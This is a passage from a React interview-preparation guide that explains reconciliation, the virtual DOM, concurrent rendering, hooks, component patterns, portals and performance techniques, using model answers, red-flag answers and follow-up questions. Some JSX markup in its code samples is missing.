` becomes a ``, React destroys the entire subtree and rebuilds. No attempt to reuse children. This sounds wasteful but in practice, cross-type morphing is rare and the simplification saves enormous complexity. 2. **The `key` prop identifies stable elements across renders.** Without keys, React matches children by index position. With keys, React can detect insertions, deletions, and moves. **The Actual Process**: 1. React walks both the current Fiber tree and the new element tree simultaneously. 2. For each node, compares `type` and `key`. 3. Same type + same key = **update** (reuse Fiber, apply new props). 4. Different type = **replace** (delete old subtree, create new). 5. Extra old children = **deletion**. Extra new children = **placement**. 6. Changes are flagged as `effectTag` on the Fiber node (e.g., `Placement`, `Update`, `Deletion`). **List Reconciliation Details**: For lists, React builds a Map of `key -> old Fiber`, then iterates new children. For each, it looks up by key in O(1). This is why keys matter so much -- without them, inserting at the top of a 1,000-item list causes React to update all 1,000 items (it thinks every item shifted). **Real-World Impact**: At a company rendering a dashboard with 500+ chart components, switching from index keys to stable IDs reduced reconciliation time from \~120ms to \~15ms on filter changes because React could correctly identify that most charts were unchanged. **What interviewers are really testing:** Do you understand the *trade-offs* React made (heuristic accuracy vs performance), and can you explain why keys exist at a mechanical level? **Red flag answer:** "React compares the real DOM to the virtual DOM." No -- React compares the *previous* virtual DOM (current Fiber tree) to the *new* virtual DOM (elements from render). The real DOM is only touched in the commit phase. **Follow-up:** 1. What happens if two sibling elements have the same key? What bug does this cause? 2. Walk me through what happens when you insert an item at the beginning of a 100-item list with index keys vs stable ID keys. 3. Why doesn't React use a more sophisticated diffing algorithm? What would you gain and lose? **Answer**: The Virtual DOM is a lightweight JavaScript object tree that mirrors the structure of the real DOM. Think of it as a blueprint -- cheap to create and compare, unlike the actual DOM which is expensive (a single DOM node has 200+ properties). **How It Actually Works End-to-End**: 1. Component `render()` / function body returns JSX, which Babel compiles to `React.createElement()` calls (or the new JSX transform's `jsx()` calls). 2. `createElement` produces plain objects: `{ type: 'div', props: { className: 'app', children: [...] } }`. This is the V-DOM. 3. React diffs the new V-DOM tree against the previous one (reconciliation). 4. Produces a minimal list of "effects" -- the actual DOM operations needed. 5. Applies these in a single batch during the commit phase via `ReactDOM`. **Why Not Just Update the DOM Directly?** * DOM manipulation is not slow per se -- *layout thrashing* is. Reading `offsetHeight` after writing `style.height` forces a synchronous reflow. The V-DOM pattern naturally batches all writes together, avoiding read-write-read-write patterns. * The abstraction also enables React Native, React Three Fiber (3D), React PDF, etc. -- same reconciler, different "renderers." **Common Misconception**: "Virtual DOM is always faster than real DOM." It is not. Svelte and SolidJS compile away the V-DOM entirely and can be faster for fine-grained updates. The V-DOM is a *trade-off*: you pay the cost of diffing to get a simpler programming model (declarative UI) and cross-platform portability. **Numbers**: Creating 10,000 V-DOM nodes takes \~1-2ms. Creating 10,000 real DOM nodes takes \~50-100ms. The diff + patch is almost always faster than naive full re-render, but targeted manual DOM manipulation (like what Svelte does) can beat it. **What interviewers are really testing:** Can you explain the V-DOM without mythologizing it? Do you understand it is a trade-off, not a silver bullet? **Red flag answer:** "Virtual DOM is what makes React fast" without qualification. This misses that V-DOM has overhead (memory, diffing CPU time) and that frameworks without V-DOM can outperform React. **Follow-up:** 1. How does React's V-DOM approach compare to Svelte's compile-time approach or SolidJS's fine-grained reactivity? When would each win? 2. What is "layout thrashing" and how does batching DOM writes prevent it? 3. If V-DOM diffing is O(n), at what tree size does this become a bottleneck, and what would you do about it? **Answer**: React 18 introduced the **Concurrent Renderer** -- rendering is now interruptible by default when you use `createRoot` (the new API). The key idea: not all state updates are equally urgent. **Core Mechanism**: React 18 uses a **priority lane system** (31 bit lanes). User interactions (clicks, typing) get high-priority lanes. Transitions get lower-priority lanes. React processes high-priority work first and can *interrupt* in-progress low-priority renders. **Key Features**: * `useTransition`: Marks a state update as non-urgent. Returns `[isPending, startTransition]`. The UI stays responsive during the transition. **Real example**: Filtering a 10,000-row table -- wrap the filter state update in `startTransition` so typing remains smooth while the table re-renders in the background. ```javascript theme={null} const [isPending, startTransition] = useTransition(); const handleSearch = (query) => { setInputValue(query); // Urgent: update input immediately startTransition(() => { setFilteredResults(filter(query)); // Non-urgent: can be interrupted }); }; ``` * `useDeferredValue`: Creates a deferred copy of a value. Similar to debouncing but smarter -- React controls the timing based on device capability. Fast devices see updates sooner. **Use case**: Showing a stale list while computing the new one. * **Automatic Batching**: In React 17, batching only worked inside React event handlers. In React 18, updates inside `setTimeout`, `Promise.then()`, native event handlers, and any other context are **all batched**. This was a major performance win -- applications saw 20-40% fewer re-renders without code changes. * **Suspense for Data Fetching (SSR)**: `` now works with SSR streaming. Server can send HTML for ready parts while slow data sources resolve. This is called **Selective Hydration** -- React hydrates the most urgent components first (e.g., the one the user is trying to click). **Migration Gotcha**: Simply upgrading React 18 does not enable concurrency. You must switch from `ReactDOM.render()` to `createRoot()`. Without this, you get "legacy mode" with React 17 behavior. **What interviewers are really testing:** Do you understand the *practical* impact of concurrency? Can you give a real scenario where `useTransition` matters? Do you understand the difference between concurrency and parallelism (React is still single-threaded)? **Red flag answer:** "React 18 makes everything concurrent automatically" or confusing concurrency with parallelism. React uses cooperative scheduling on a single thread -- it does not use Web Workers or multi-threading. **Follow-up:** 1. What is the difference between `useTransition` and `useDeferredValue`? When would you pick one over the other? 2. How does Automatic Batching in React 18 change error handling behavior compared to React 17? (Hint: errors in batched updates) 3. Explain Selective Hydration. What happens if a user clicks on a component that has not been hydrated yet? **Answer**: React wraps native browser events in `SyntheticEvent` objects that provide a consistent, cross-browser interface. This normalizes differences across browsers (e.g., IE's `window.event` pattern, differences in `event.target` behavior). **Event Delegation**: Instead of attaching an event listener to every single button/input, React attaches **one** listener per event type to the root container (`#root` in React 17+, previously `document` in React 16). When a native event fires, React: 1. Captures the native event at the root. 2. Looks up which Fiber node corresponds to the `event.target`. 3. Walks up the Fiber tree, collecting all relevant handlers (simulating bubbling through the React tree). 4. Calls handlers in the correct order with a `SyntheticEvent`. **React 17 Breaking Change**: Delegation moved from `document` to the React root container. This was critical for **micro-frontends** -- multiple React apps on one page no longer interfere with each other's event systems. Before React 17, two React apps both listening on `document` could cause subtle bugs. **Event Pooling** (Removed in React 17): In React 16, `SyntheticEvent` objects were recycled for performance. After the event handler returned, all properties were nullified. Accessing `event.target` in a `setTimeout` would return `null`. You had to call `event.persist()`. React 17 removed this because modern JS engines made object creation cheap enough that pooling was no longer worth the developer confusion. **Practical Implications**: * `event.nativeEvent` gives you the underlying browser event if needed. * `event.stopPropagation()` stops propagation in React's synthetic system, not the native DOM (though React 17+ aligns these better). * `event.preventDefault()` works as expected and delegates to the native event. * Passive event listeners (for scroll performance) require native `addEventListener` -- React does not support the `passive` option on synthetic events. **What interviewers are really testing:** Understanding of event delegation at scale, the React 16 to 17 migration implications, and awareness of cases where you need to bypass the synthetic system. **Red flag answer:** "React creates a new event listener for each onClick" or not knowing that event pooling was removed. **Follow-up:** 1. Why did React 17 move event delegation from `document` to the root container? What problem does this solve for micro-frontend architectures? 2. When would you need to use native `addEventListener` instead of React's synthetic events? Give a specific example. 3. How does React handle the capture phase vs bubbling phase? How do you add a capture-phase handler in React? ## 2. Hooks Deep Dive **Answer**: React stores hooks as a **linked list** attached to the Fiber node's `memoizedState` field. Each hook call appends to this list, and React identifies hooks purely by their **call order** (position in the list), not by any name or key. **The Internal Mechanism**: ``` Render 1: useState(0) -> useEffect(fn) -> useMemo(fn) idx=0 idx=1 idx=2 Render 2 (with conditional): useEffect(fn) -> useMemo(fn) idx=0 idx=1 ``` React now thinks `useEffect` is the `useState` from last render (both at idx=0). It tries to apply `useState` logic to `useEffect` data -- total corruption. You get either wrong state, wrong effects, or a crash. **Why a Linked List Instead of a Map?** You might think React could use hook names or keys. But hooks do not have names (two `useState` calls are indistinguishable). A Map keyed by something would add API overhead. The linked list approach is zero-overhead -- O(1) per hook call, no hashing, no key management. The trade-off is the ordering constraint. **The Linter Catches This**: The `eslint-plugin-react-hooks` has a rule `rules-of-hooks` that statically analyzes your code to ensure hooks are not inside conditions, loops, or nested functions. This is a **must-have** lint rule, not optional. In a production codebase, violating this rule can cause bugs that are nearly impossible to debug because state silently shifts between hooks. **What interviewers are really testing:** Deep understanding of React's internal data structures, not just rote memorization of "rules of hooks." **Red flag answer:** "Because the docs say so" or "It's a React rule" without being able to explain *why* at the implementation level. **Follow-up:** 1. Could React have designed hooks differently to allow conditional usage? What trade-offs would that involve? 2. How does the `rules-of-hooks` ESLint plugin actually detect violations? Is it purely syntactic or does it do control flow analysis? 3. The new `use` hook in React 19 *can* be called conditionally. How is this possible without breaking the linked list model? **Answer**: Both run side effects after a render, but the **timing** relative to the browser paint is critically different. **`useEffect`**: * Runs **asynchronously after the browser has painted** the screen. * React schedules it via `requestIdleCallback` / `MessageChannel` (not `setTimeout`). * Users see the updated UI first, then effects run. * **Use for**: Data fetching, analytics tracking, subscriptions, logging -- anything that does not need to modify what the user sees. **`useLayoutEffect`**: * Runs **synchronously after DOM mutations but before the browser paints**. * Blocks the paint. The user never sees the "before" state. * **Use for**: Reading DOM layout (measuring element dimensions with `getBoundingClientRect`), adjusting positions, preventing visual flicker. **Real-World Example -- Tooltip Positioning**: ```javascript theme={null} // BAD: useEffect causes visible flicker useEffect(() => { const rect = tooltipRef.current.getBoundingClientRect(); setPosition({ top: rect.bottom, left: rect.left }); }, []); // User sees tooltip at (0,0) for one frame, then it jumps // GOOD: useLayoutEffect prevents flicker useLayoutEffect(() => { const rect = tooltipRef.current.getBoundingClientRect(); setPosition({ top: rect.bottom, left: rect.left }); }, []); // User never sees the wrong position ``` **SSR Gotcha**: `useLayoutEffect` fires a warning during SSR because there is no DOM to measure on the server. Common fixes: use `useEffect` with an `isMounted` check, or use a library like `useIsomorphicLayoutEffect` that picks the right one based on environment. **Performance Warning**: Overusing `useLayoutEffect` blocks painting. If your effect takes 50ms (say, expensive computation), the user sees a 50ms freeze. Only use it when visual consistency requires it. **What interviewers are really testing:** Whether you understand the browser rendering pipeline (JS execution -> DOM mutation -> layout/paint) and can reason about when code runs relative to what the user sees. **Red flag answer:** "useLayoutEffect is the same as useEffect but runs first" without explaining *why the timing matters* or being able to give a concrete case where the difference is visible. **Follow-up:** 1. Draw the timeline: component renders, DOM updates, `useLayoutEffect` runs, browser paints, `useEffect` runs. Where does `requestAnimationFrame` fit? 2. What happens if you call `setState` inside `useLayoutEffect`? Does it cause a visible flicker? 3. In a Server Component world (RSC), how do layout effects work? What happens on the server? **Answer**: Both are memoization hooks, but they cache different things: * **`useMemo`**: Caches a **computed value**. The factory function runs only when dependencies change. ```javascript theme={null} const sorted = useMemo(() => expensiveSort(items), [items]); ``` * **`useCallback`**: Caches a **function reference**. Equivalent to `useMemo(() => fn, deps)`. ```javascript theme={null} const handleClick = useCallback((id) => deleteItem(id), [deleteItem]); ``` **Why `useCallback` Matters**: In JavaScript, `() => {}` !== `() => {}` -- every render creates a new function object. If you pass this to a child wrapped in `React.memo`, the child re-renders every time because its `onClick` prop changed (different reference). `useCallback` preserves the reference. **When NOT to Use Them (Critical Nuance)**: * Memoization is **not free**. `useMemo` adds: (1) dependency array comparison cost per render, (2) memory to store the cached value. For cheap computations (`a + b`), the memoization overhead exceeds the computation cost. A benchmark by the React team showed that unnecessary `useMemo` can make renders \~2-5% slower. * Do not wrap every function in `useCallback`. Only do it when: (a) passed to a memoized child, (b) used as a dependency of another hook, or (c) the function creation itself is expensive. **The React Compiler (React 19) changes everything**: React Compiler (formerly "React Forget") auto-memoizes at build time. It analyzes your component and inserts memoization where beneficial. This makes manual `useMemo`/`useCallback` largely unnecessary. Existing code still works but new code can skip them. **Real-World Pattern**: ```javascript theme={null} // Parent component const Parent = () => { const [count, setCount] = useState(0); const [text, setText] = useState(''); // Without useCallback: ExpensiveChild re-renders on EVERY parent render // (even when only `text` changes) const handleIncrement = useCallback(() => { setCount(c => c + 1); }, []); // stable reference return ( <> setText(e.target.value)} /> ); }; const ExpensiveChild = React.memo(({ onIncrement }) => { // Renders 500 items... expensive }); ``` **What interviewers are really testing:** Judgment. Do you know *when* to memoize and when it is wasteful? Can you reason about reference equality in JavaScript? **Red flag answer:** "I always wrap everything in useMemo and useCallback to be safe." This shows lack of understanding of the overhead and when memoization actually helps. **Follow-up:** 1. Can you implement `useCallback` using only `useMemo`? Show the code. 2. How does the React Compiler eliminate the need for manual memoization? What analysis does it perform? 3. You have a component that re-renders 60 times per second (animation). Should you use `useMemo` for computed values inside it? Why or why not? **Answer**: `useRef` returns a mutable object `{ current: initialValue }` that persists for the **full lifetime** of the component. The object reference itself never changes across renders. **Three Key Properties**: 1. **Mutating `.current` does NOT trigger a re-render.** This is fundamental -- `useRef` is escape hatch from React's reactivity system. 2. **The ref object is the same instance across all renders.** Unlike `useState` values which are snapshots, `ref.current` always reflects the latest mutation. 3. **Synchronous access.** You read/write `.current` immediately, unlike `setState` which is batched/async. **Common Use Cases**: * **DOM access**: `` then `inputRef.current.focus()`. * **Storing mutable values without re-render**: Interval IDs, previous props, animation frame IDs, WebSocket instances. * **Tracking "is mounted"** (though React discourages this pattern): ```javascript theme={null} const isMounted = useRef(true); useEffect(() => () => { isMounted.current = false; }, []); ``` **Internal Implementation**: Under the hood, `useRef` is essentially `useMemo(() => ({ current: initialValue }), [])`. The initial value is computed once, and the same object is returned every render. But unlike `useMemo`, React guarantees the ref is never recreated (even if React's cache is evicted). **`useRef` vs `createRef`**: `createRef()` creates a new ref object **every render**. It was designed for class components. In function components, always use `useRef` -- `createRef` would lose the previous value on each render. **Subtle Gotcha -- Refs in Closures**: ```javascript theme={null} const countRef = useRef(0); const [count, setCount] = useState(0); const logValues = () => { setTimeout(() => { console.log('ref:', countRef.current); // Always latest console.log('state:', count); // Stale closure value }, 3000); }; ``` This is why refs are useful for "escape hatching" out of stale closure problems. **What interviewers are really testing:** Understanding of the difference between React's reactive model (state/props drive renders) and imperative escape hatches (refs). Also testing awareness of closures and mutability. **Red flag answer:** "useRef is for accessing DOM elements" -- that is only one use case and misses the broader purpose as a mutable container. **Follow-up:** 1. Why would you store a WebSocket connection in a ref instead of state? What would go wrong if you used state? 2. Can you explain the "callback ref" pattern (`

...} />`)? When is it better than `useRef`? 3. In React 19, refs work as regular props (no `forwardRef`). How does this simplify component APIs? **Answer**: `useState` is internally implemented as a special case of `useReducer` (the reducer is essentially `(state, action) => action` for direct values or `(state, action) => action(state)` for functional updates). **When to Pick `useReducer`**: 1. **Complex state transitions with multiple sub-values**: A form with 10 fields, a data table with sort/filter/pagination state. With `useState`, you end up with 10 separate setter calls in each handler. With `useReducer`, one `dispatch({ type: 'SUBMIT' })` handles everything. 2. **Next state depends on previous state in complex ways**: State machines, multi-step wizards, undo/redo. 3. **Testability**: The reducer is a **pure function** -- input state + action = output state. You can test it with zero React dependencies: ```javascript theme={null} test('increments count', () => { expect(reducer({ count: 0 }, { type: 'INCREMENT' })) .toEqual({ count: 1 }); }); ``` 4. **Passing dispatch to deep children**: `dispatch` identity is **stable** -- it never changes across renders (unlike setter functions from `useState` when not using functional updates). This means you can pass `dispatch` to deeply nested `React.memo` children without causing re-renders, and without needing `useCallback`. **When to Stick with `useState`**: Simple, independent values. A boolean toggle, a single input field, a counter. Using `useReducer` for `const [isOpen, toggleOpen]` is over-engineering. ```javascript theme={null} const reducer = (state, action) => { switch (action.type) { case 'SET_FIELD': return { ...state, [action.field]: action.value }; case 'RESET': return initialState; case 'SUBMIT': return { ...state, submitting: true, error: null }; default: return state; } }; const [state, dispatch] = useReducer(reducer, initialState); ``` **Advanced Pattern -- Lazy Initialization**: ```javascript theme={null} const [state, dispatch] = useReducer(reducer, props, createInitialState); // Third argument is an init function -- avoids recreating initial state on every render ``` **What interviewers are really testing:** Engineering judgment -- when to use which tool. Also whether you understand that `useState` and `useReducer` are the same primitive underneath. **Red flag answer:** "useReducer is for complex state and useState is for simple state" without being able to explain *why* or articulate the specific benefits (testability, stable dispatch, collocated logic). **Follow-up:** 1. How would you implement an undo/redo system using `useReducer`? Sketch the reducer. 2. `dispatch` is guaranteed stable across renders. Why? How does React achieve this internally? 3. When would you combine `useReducer` with `useContext`? What are the performance implications vs Redux? **Answer**: Custom hooks are the primary mechanism for **reusing stateful logic** between components. Components reuse UI (via composition), hooks reuse behavior. **Rules**: Must start with `use` (this enables the linter to enforce Rules of Hooks). Each call to a custom hook gets its own **isolated** state -- two components using `useWindowSize()` each get separate state. ```javascript theme={null} function useWindowSize() { const [size, setSize] = useState({ width: window.innerWidth, height: window.innerHeight, }); useEffect(() => { const handler = () => setSize({ width: window.innerWidth, height: window.innerHeight, }); window.addEventListener('resize', handler); return () => window.removeEventListener('resize', handler); }, []); return size; } ``` **Why Custom Hooks Beat HOCs and Render Props**: * **No wrapper nesting hell**: HOCs create ``. Custom hooks are flat function calls. * **No prop collision**: Two HOCs might both inject `data` prop. Hooks return values you name yourself. * **Composable**: Hooks call other hooks. `useAuthenticatedFetch` can use `useAuth` + `useFetch` internally. * **TypeScript friendly**: HOC generic types are painful. Hook return types are simple. **Real-World Custom Hook Examples**: * `useDebounce(value, delay)` -- debounce search input * `useLocalStorage(key, initialValue)` -- synced with localStorage * `useMediaQuery('(max-width: 768px)')` -- responsive breakpoints * `useIntersectionObserver(ref, options)` -- lazy loading triggers * `usePrevious(value)` -- access value from previous render * `useOnClickOutside(ref, handler)` -- close dropdowns **Testing Custom Hooks**: Use `renderHook` from `@testing-library/react-hooks` (or `@testing-library/react` v14+): ```javascript theme={null} const { result } = renderHook(() => useCounter(0)); act(() => result.current.increment()); expect(result.current.count).toBe(1); ``` **What interviewers are really testing:** Can you identify when logic should be extracted into a hook? Can you design a clean hook API? Do you understand isolation (each call = separate state)? **Red flag answer:** Treating custom hooks as "just refactoring functions out of components" without understanding that hooks carry state and lifecycle, or not knowing that each hook call gets independent state. **Follow-up:** 1. Design a `useAsync(asyncFn)` hook that tracks loading, data, and error states. What edge cases would you handle? 2. How would you test a custom hook that depends on `window.addEventListener`? Walk me through the test setup. 3. Can a custom hook return JSX? Should it? What pattern emerges if it does? **Answer**: This pattern combines Context for distribution and `useReducer` for state management -- often called "poor man's Redux." It provides global state without external dependencies. **Implementation**: ```javascript theme={null} const StateContext = createContext(); const DispatchContext = createContext(); // Separate contexts! function AppProvider({ children }) { const [state, dispatch] = useReducer(reducer, initialState); return ( {children} ); } ``` **Critical Optimization -- Split State and Dispatch Contexts**: If you put both `state` and `dispatch` in one context value (`value={{ state, dispatch }}`), every consumer re-renders when state changes -- even components that only use `dispatch`. By splitting them, components that only dispatch actions never re-render on state changes. **The Fundamental Limitation -- No Selectors**: When `state` changes, **ALL** components consuming `StateContext` re-render, even if they only care about `state.user` and only `state.cart` changed. This is because Context uses **reference equality** on the value. A new state object (from the reducer spread) always has a new reference. **Workarounds**: 1. **Split contexts by domain**: `UserContext`, `CartContext`, `ThemeContext` -- each has its own provider. This limits re-render blast radius. 2. **`useMemo` in consumers**: Compute derived values in the consumer with `useMemo`, though the component still re-renders. 3. **`use-context-selector`** (third-party): Adds selector support to context. 4. **Just use Zustand/Jotai**: If you need selectors, middleware, or devtools, the cost of a \~2KB library is worth it over fighting Context's limitations. **When Context + Reducer is Actually Fine**: Theme, locale, auth status, feature flags -- data that changes rarely and affects many components. For these, the "all consumers re-render" cost is negligible because changes happen once per session. **What interviewers are really testing:** Do you understand Context's re-render behavior and can you make an informed decision about when Context is enough vs when you need a dedicated state management library? **Red flag answer:** "Context + useReducer replaces Redux" without mentioning the re-render problem or understanding when this pattern breaks down. **Follow-up:** 1. You have 50 components consuming a context, and state updates 10 times per second. What happens? How do you fix it? 2. Compare the re-render behavior of Context vs Zustand's `useStore(selector)`. Why is Zustand more efficient? 3. How would you add middleware-like functionality (logging, async actions) to the Context + Reducer pattern? ## 3. Component Patterns **Answer**: An HOC is a function that takes a component and returns a new, enhanced component. It is a pattern, not a React API. It leverages JavaScript's higher-order function concept applied to components. ```javascript theme={null} const withAuth = (Component) => { return function AuthenticatedComponent(props) { const { isAuthenticated, user } = useAuth(); if (!isAuthenticated) return ; return ; }; }; const ProtectedDashboard = withAuth(Dashboard); ``` **Real-World HOC Examples**: `connect()` from React-Redux, `withRouter` from React Router v5, `withStyles` from Material UI v4. **The Problems That Led to Hooks**: 1. **Wrapper Hell**: `withAuth(withTheme(withRouter(withAnalytics(Component))))` creates deeply nested component trees. React DevTools shows 8 layers of wrappers. Debugging becomes painful. 2. **Prop Name Collisions**: If `withAuth` injects `data` and `withFetch` also injects `data`, the last HOC wins and the first one's prop is silently lost. 3. **Static Composition Only**: HOCs are applied at definition time, not render time. You cannot dynamically decide which HOCs to apply based on props. 4. **TypeScript Pain**: Properly typing the input component, the injected props, and the output component requires complex generics that many teams get wrong. 5. **Ref Forwarding**: HOCs need explicit `React.forwardRef` to pass refs through to the wrapped component. **When HOCs Are Still Useful** (even in 2024+): Cross-cutting concerns in class component codebases, decorating third-party components you cannot modify, and composing behaviors declaratively in some meta-framework patterns. **What interviewers are really testing:** Understanding of composition patterns and their evolution. Can you articulate *why* hooks replaced HOCs, not just that they did? **Red flag answer:** "HOCs are bad and should never be used." Absolute statements show lack of nuance -- HOCs still have valid use cases. **Follow-up:** 1. How would you convert an existing HOC (`withAuth`) into a custom hook (`useAuth`)? What changes in the consumer code? 2. What is the "wrapper hell" problem and how does it affect React DevTools debugging? 3. How do you ensure an HOC properly forwards refs? Show the code. **Answer**: A component with a render prop takes a function that returns React elements and calls it instead of implementing its own render logic. It shares code by giving the consumer control over what to render with shared state. ```javascript theme={null} class MouseTracker extends React.Component { state = { x: 0, y: 0 }; handleMouseMove = (event) => { this.setState({ x: event.clientX, y: event.clientY }); }; render() { return (

{this.props.render(this.state)}

); } } // Usage - consumer decides what to render (

The mouse position is ({x}, {y})

)} /> ``` **Variation -- `children` as a Function** (more common): ```javascript theme={null} {({ x, y }) => } ``` **Render Props vs HOCs**: Render props solve the static composition problem. You can dynamically decide what to render at render time. They also make data flow more explicit (you can see exactly what data is being passed). However, they introduce "callback hell" nesting when composed. **Performance Gotcha**: If the render prop is an inline function, a new function is created every render. This breaks `shouldComponentUpdate` / `React.memo` on the component receiving the render prop. The fix is to extract the render function: ```javascript theme={null} // Bad: new function every render } /> // Better: stable function reference const renderList = useCallback((data) => , []); ``` **Modern Status**: Render props are largely replaced by custom hooks for logic sharing. But the pattern survives in libraries like React Spring (`{styles => ...}`), Formik (`{(field) => ...}`), and Downshift. **What interviewers are really testing:** Understanding of inversion of control as a design principle, and the evolution from render props to hooks. **Red flag answer:** Not knowing the `children` as function variant, or unable to articulate any downsides (nesting, performance). **Follow-up:** 1. Convert this render props component to a custom hook. What is gained and lost? 2. How would you handle the case where the render prop function is expensive to execute? What optimization strategies exist? 3. Can you combine render props with hooks? Give a scenario where this makes sense. **Answer**: Compound components are a pattern where a parent component and its children share **implicit state**, creating a cohesive API that works together. Think HTML's `` is always uncontrolled -- React cannot set file values for security reasons). **Performance Consideration**: A controlled input with a complex parent component triggers a full re-render on every keystroke. In a form with 50 fields, this can cause lag. Solutions: (1) isolate input state into a small component, (2) use `useDeferredValue`, or (3) use a form library like React Hook Form which uses **uncontrolled** inputs by default with refs for performance. **React Hook Form vs Formik**: This is the controlled vs uncontrolled debate in library form. Formik uses controlled components (re-renders on every change). React Hook Form uses uncontrolled with refs (minimal re-renders). On forms with 50+ fields, React Hook Form can be 5-10x more performant in terms of re-renders. **What interviewers are really testing:** Understanding of data flow, performance implications of each approach, and practical judgment about when to use which. **Red flag answer:** "Always use controlled components because they're the React way." This ignores valid use cases for uncontrolled components and performance trade-offs. **Follow-up:** 1. You have a form with 100 fields and users report input lag. How would you diagnose and fix this? 2. What happens if you set `value` on an input without an `onChange` handler? What does React do? 3. How does React Hook Form achieve better performance than Formik? What is the architectural difference? **Answer**: Error Boundaries are React's equivalent of try/catch for the component tree. They catch JavaScript errors during rendering, lifecycle methods, and constructors of their **child** component tree, and display a fallback UI instead of crashing the entire app. **Implementation** (must be a class component -- no hook equivalent yet): ```javascript theme={null} class ErrorBoundary extends React.Component { state = { hasError: false, error: null }; static getDerivedStateFromError(error) { // Update state to render fallback return { hasError: true, error }; } componentDidCatch(error, errorInfo) { // Log to error reporting service (Sentry, DataDog, etc.) logErrorToService(error, errorInfo.componentStack); } render() { if (this.state.hasError) { return ; } return this.props.children; } } ``` **What Error Boundaries Do NOT Catch**: 1. **Event handlers** -- use regular try/catch. Event handler errors do not corrupt the render tree. 2. **Async code** (setTimeout, Promises) -- errors happen outside React's call stack. 3. **Server-side rendering** -- different error handling mechanism. 4. **Errors in the boundary itself** -- only catches errors in children, not in itself. **Strategic Placement**: Do not put one boundary at the root and call it done. Use **granular boundaries**: * Route-level: Each page gets its own boundary. A crash in `/settings` does not break `/dashboard`. * Feature-level: A failing chart widget does not take down the sidebar. * Critical vs non-critical: Show a generic error for the chat widget but show a full-page error for the main content. **Production Pattern with Reset**: ```javascript theme={null} } onReset={() => queryClient.resetQueries()} resetKeys={[userId]} // Auto-reset when userId changes > ``` Libraries like `react-error-boundary` by Brian Vaughn provide this with hooks support and retry functionality. **What interviewers are really testing:** Error handling strategy and resilience thinking. Where do you place boundaries? How do you handle recovery? Do you know the limitations? **Red flag answer:** "Error boundaries catch all errors in React" or placing a single boundary at the root without considering granularity. **Follow-up:** 1. Why is there no hook-based Error Boundary? What technical limitation prevents it? 2. How would you implement a "retry" mechanism in an error boundary? What state needs to reset? 3. How do Error Boundaries interact with Suspense boundaries? Can you combine them? **Answer**: Portals allow you to render a child component into a DOM node that exists outside the parent component's DOM hierarchy, while maintaining the React tree hierarchy for events and context. ```javascript theme={null} const Modal = ({ children, isOpen }) => { if (!isOpen) return null; return ReactDOM.createPortal(

{children}

, document.getElementById('modal-root') ); }; ``` **Why Portals Exist**: CSS `overflow: hidden`, `z-index` stacking contexts, and `position` constraints. A modal inside a `

` gets clipped. A tooltip inside a scrolling container scrolls with it. Portals break out of these CSS constraints by rendering into a different DOM location. **The Magic -- Event Bubbling Through Portals**: This is the most commonly missed detail. Even though the portal renders into `#modal-root` (outside the parent in the DOM), events still bubble up through the **React tree** (virtual hierarchy). A click inside a portal still triggers `onClick` on the React parent component: ``` DOM tree: #root > App, #modal-root > Modal React tree: App > Modal (parent-child) Click in Modal bubbles to App in React, NOT to #modal-root's parent in DOM ``` **Context Also Flows Through Portals**: A portaled component still has access to its parent's Context. This is because React's context traversal follows the Fiber tree, not the DOM tree. **Common Portal Use Cases**: * Modals and dialogs * Tooltips and popovers * Toast notifications * Dropdown menus that need to escape `overflow: hidden` * Full-screen overlays **Accessibility Consideration**: Portals require extra care for focus management. When a modal opens, focus should move to the modal. When it closes, focus should return to the trigger. Screen readers need `aria-modal="true"` and proper `role="dialog"`. Libraries like Radix UI and Headless UI handle this automatically. **What interviewers are really testing:** Understanding of the DOM vs React tree distinction, CSS stacking context issues, and awareness of accessibility implications. **Red flag answer:** Not knowing that events bubble through the React tree (not DOM tree) for portals, or not mentioning accessibility/focus management. **Follow-up:** 1. Explain a scenario where event bubbling through a portal could cause a bug. How would you handle it? 2. How do you handle keyboard focus trapping inside a modal rendered via a portal? 3. Can you create a portal to an element inside an iframe? What challenges arise? ## 4. Performance Optimization **Answer**: `React.memo` is a higher-order component that memoizes functional components. It performs a **shallow comparison** of props -- if all props are equal by reference (or value for primitives), the component skips re-rendering and reuses the previous render output. ```javascript theme={null} const ExpensiveList = React.memo(function ExpensiveList({ items, onSelect }) { return items.map(item => ); }); // Custom comparator for complex cases const OptimizedChart = React.memo(ChartComponent, (prevProps, nextProps) => { return prevProps.data.length === nextProps.data.length && prevProps.data.every((d, i) => d.id === nextProps.data[i].id); }); ``` **The #1 Trap -- Unstable References**: `React.memo` is rendered useless if the parent creates new objects/functions every render: ```javascript theme={null} // BROKEN: memo never helps because style and onClick are new every render const Parent = () => { return ( doSomething()} // New function every render /> ); }; ``` **The Fix**: Stabilize references with `useMemo` for objects and `useCallback` for functions. Or better, restructure to pass primitives: ```javascript theme={null} // Pass primitives instead of objects ``` **When NOT to Memo**: If a component is cheap to render (a few DOM elements, no computation), the overhead of shallow comparison on every render can exceed the cost of just re-rendering. Profile first with React DevTools Profiler, then memo the actual bottlenecks. **Measuring Impact**: React DevTools Profiler shows "Why did this render?" and render duration. Before adding `React.memo`, establish a baseline. After adding it, verify the component actually skips renders. At a dashboard with 200+ widgets, strategically applying `React.memo` to widget containers reduced average frame time from 33ms to 8ms during filter operations. **What interviewers are really testing:** Do you understand reference equality in JavaScript? Can you identify the real performance bottleneck before reaching for `memo`? **Red flag answer:** "I wrap every component in React.memo for performance" -- shows premature optimization without understanding the overhead and the reference stability requirement. **Follow-up:** 1. If `React.memo` uses shallow comparison, what exactly does "shallow" mean? How deep does it go? 2. When would you write a custom comparison function for `React.memo`? What are the risks? 3. How does the React Compiler in React 19 change the need for `React.memo`? **Answer**: Code splitting breaks your JavaScript bundle into smaller chunks that load on demand, reducing the initial load time. React provides `React.lazy` and `Suspense` as first-class APIs for this. ```javascript theme={null} // Lazy-loaded component -- webpack/vite creates a separate chunk const Settings = React.lazy(() => import('./Settings')); const AdminPanel = React.lazy(() => import('./AdminPanel')); function App() { return ( }> } /> } /> ); } ``` **How It Works Under the Hood**: 1. `React.lazy` takes a function that returns a `Promise<{ default: Component }>` (the dynamic `import()` spec). 2. On first render, the component is not loaded. React "suspends" -- throws a Promise. 3. The nearest `Suspense` boundary catches the Promise and shows the `fallback`. 4. When the chunk loads (Promise resolves), React re-renders with the real component. **Strategic Splitting Points**: * **Route-level splitting**: Each page is a separate chunk. Most impactful because users only load the page they visit. Can reduce initial bundle from 2MB to 200KB. * **Heavy library splitting**: Import `chart.js` or `monaco-editor` only when the chart/editor component mounts. * **Below-the-fold splitting**: Content not visible on initial load does not need to be in the main bundle. * **Modal/dialog splitting**: Admin settings modals loaded only when opened. 